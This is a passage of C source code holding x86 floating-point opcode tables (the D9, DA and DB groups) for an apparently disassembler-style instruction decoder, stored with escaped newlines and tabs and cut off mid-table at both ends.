AM_REG|REG_ST5|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVR,  \"fdivr\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST6|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVR,  \"fdivr\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST7|F_f|P_r,    FLAGS_NONE,   0 },\n};\nINST inst_table_fpu_d9[72] = {\n\t{ INSTRUCTION_TYPE_FLD,    \"flds\",      AM_E|OT_d,                   FLAGS_NONE,                FLAGS_NONE,   1 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FST,    \"fst\",       AM_E|OT_d|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FSTP,   \"fstp\",      AM_E|OT_d|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t// XXX: operand type is not correct\n\t{ INSTRUCTION_TYPE_FPU,    \"fldenv\",    AM_E|OT_v|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FPU,    \"fldcw\",     AM_E|OT_v|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FPU,    \"fstenv\",    AM_E|OT_v|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FPU,    \"fstcw\",     AM_E|OT_v|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FLD,    \"fld\",       AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FLD,    \"fld\",       AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST1|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FLD,    \"fld\",       AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST2|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FLD,    \"fld\",       AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST3|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FLD,    \"fld\",       AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST4|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FLD,    \"fld\",       AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST5|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FLD,    \"fld\",       AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST6|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FLD,    \"fld\",       AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST7|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FXCH,   \"fxch\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FXCH,   \"fxch\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST1|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FXCH,   \"fxch\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST2|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FXCH,   \"fxch\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST3|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FXCH,   \"fxch\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST4|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FXCH,   \"fxch\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST5|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FXCH,   \"fxch\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST6|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FXCH,   \"fxch\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST7|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FPU,    \"fnop\",      FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    \"fchs\",      FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FPU,    \"fabs\",      FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    \"ftst\",      FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    \"fxam\",      FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    \"fld1\",      FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FPU,    \"fldl2t\",    FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    \"fldl2e\",    FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    \"fldpi\",     FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    \"fldlg2\",    FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    \"fldln2\",    FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    \"fldz\",      FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    \"f2xm1\",     FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FPU,    \"fyl2x\",     FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    \"fptan\",     FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    \"fpatan\",    FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    \"fxtract\",   FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    \"fprem1\",    FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    \"fdecstp\",   FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FPU,    \"fincstp\",   FLAGS_NONE|P_w,              FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FPU,    \"fprem\",     FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    \"fyl2xp1\",   FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    \"fsqrt\",     FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    \"fsincos\",   FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    \"frndint\",   FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    \"fscale\",    FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FPU,    \"fsin\",      FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    \"fcos\",      FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n};\nINST inst_table_fpu_da[72] = {\n\t{ INSTRUCTION_TYPE_FIADD,  \"fiaddl\",    AM_E|OT_d|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FIMUL,  \"fimull\",    AM_E|OT_d|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FICOM,  \"ficoml\",    AM_E|OT_d|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FICOMP, \"ficompl\",   AM_E|OT_d|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FISUB,  \"fisubl\",    AM_E|OT_d|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FISUBR, \"fisubrl\",   AM_E|OT_d|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FIDIV,  \"fidivl\",    AM_E|OT_d|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FIDIVR, \"fidivrl\",   AM_E|OT_d|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovb\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovb\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST1|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovb\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST2|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovb\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST3|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovb\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST4|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovb\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST5|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovb\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST6|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovb\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST7|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmove\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmove\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST1|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmove\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST2|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmove\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST3|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmove\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST4|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmove\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST5|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmove\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST6|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmove\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST7|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovbe\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovbe\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST1|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovbe\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST2|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovbe\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST3|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovbe\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST4|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovbe\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST5|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovbe\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST6|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovbe\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST7|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovu\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovu\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST1|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovu\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST2|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovu\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST3|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovu\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST4|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovu\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST5|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovu\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST6|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovu\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST7|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FUCOMP, \"fucompp\",   FLAGS_NONE|P_w,              FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n};\n\n// XXX: fsetpm??\nINST inst_table_fpu_db[72] = {\n\t{ INSTRUCTION_TYPE_FILD,   \"fildl\",     AM_E|OT_d|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FISTTP, \"fisttp\",    AM_E|OT_d|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FIST,   \"fistl\",     AM_E|OT_d|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FISTP,  \"fistp\",     AM_E|OT_d|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FLD,    \"fldt\",      AM_E|OT_t,                   FLAGS_NONE,                FLAGS_NONE,   1 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FSTP,   \"fstpl\",     AM_E|OT_t|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovnb\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovnb\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST1|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovnb\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST2|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovnb\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST3|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovnb\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST4|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovnb\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST5|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovnb\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST6|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovnb\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST7|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovne\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovne\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST1|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovne\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST2|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovne\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST3|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovne\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST4|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovne\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST5|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovne\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST6|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovne\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST7|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovnbe\",  AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovnbe\",  AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST1|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovnbe\",  AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST2|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovnbe\",  AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST3|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovnbe\",  AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST4|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovnbe\",  AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST5|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovnbe\",  AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST6|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovnbe\",  AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST7|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovnu\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovnu\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST1|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovnu\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST2|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovnu\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST3|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovnu\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST4|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovnu\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST5|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovnu\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST6|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCMOVC, \"fcmovnu\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST7|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, 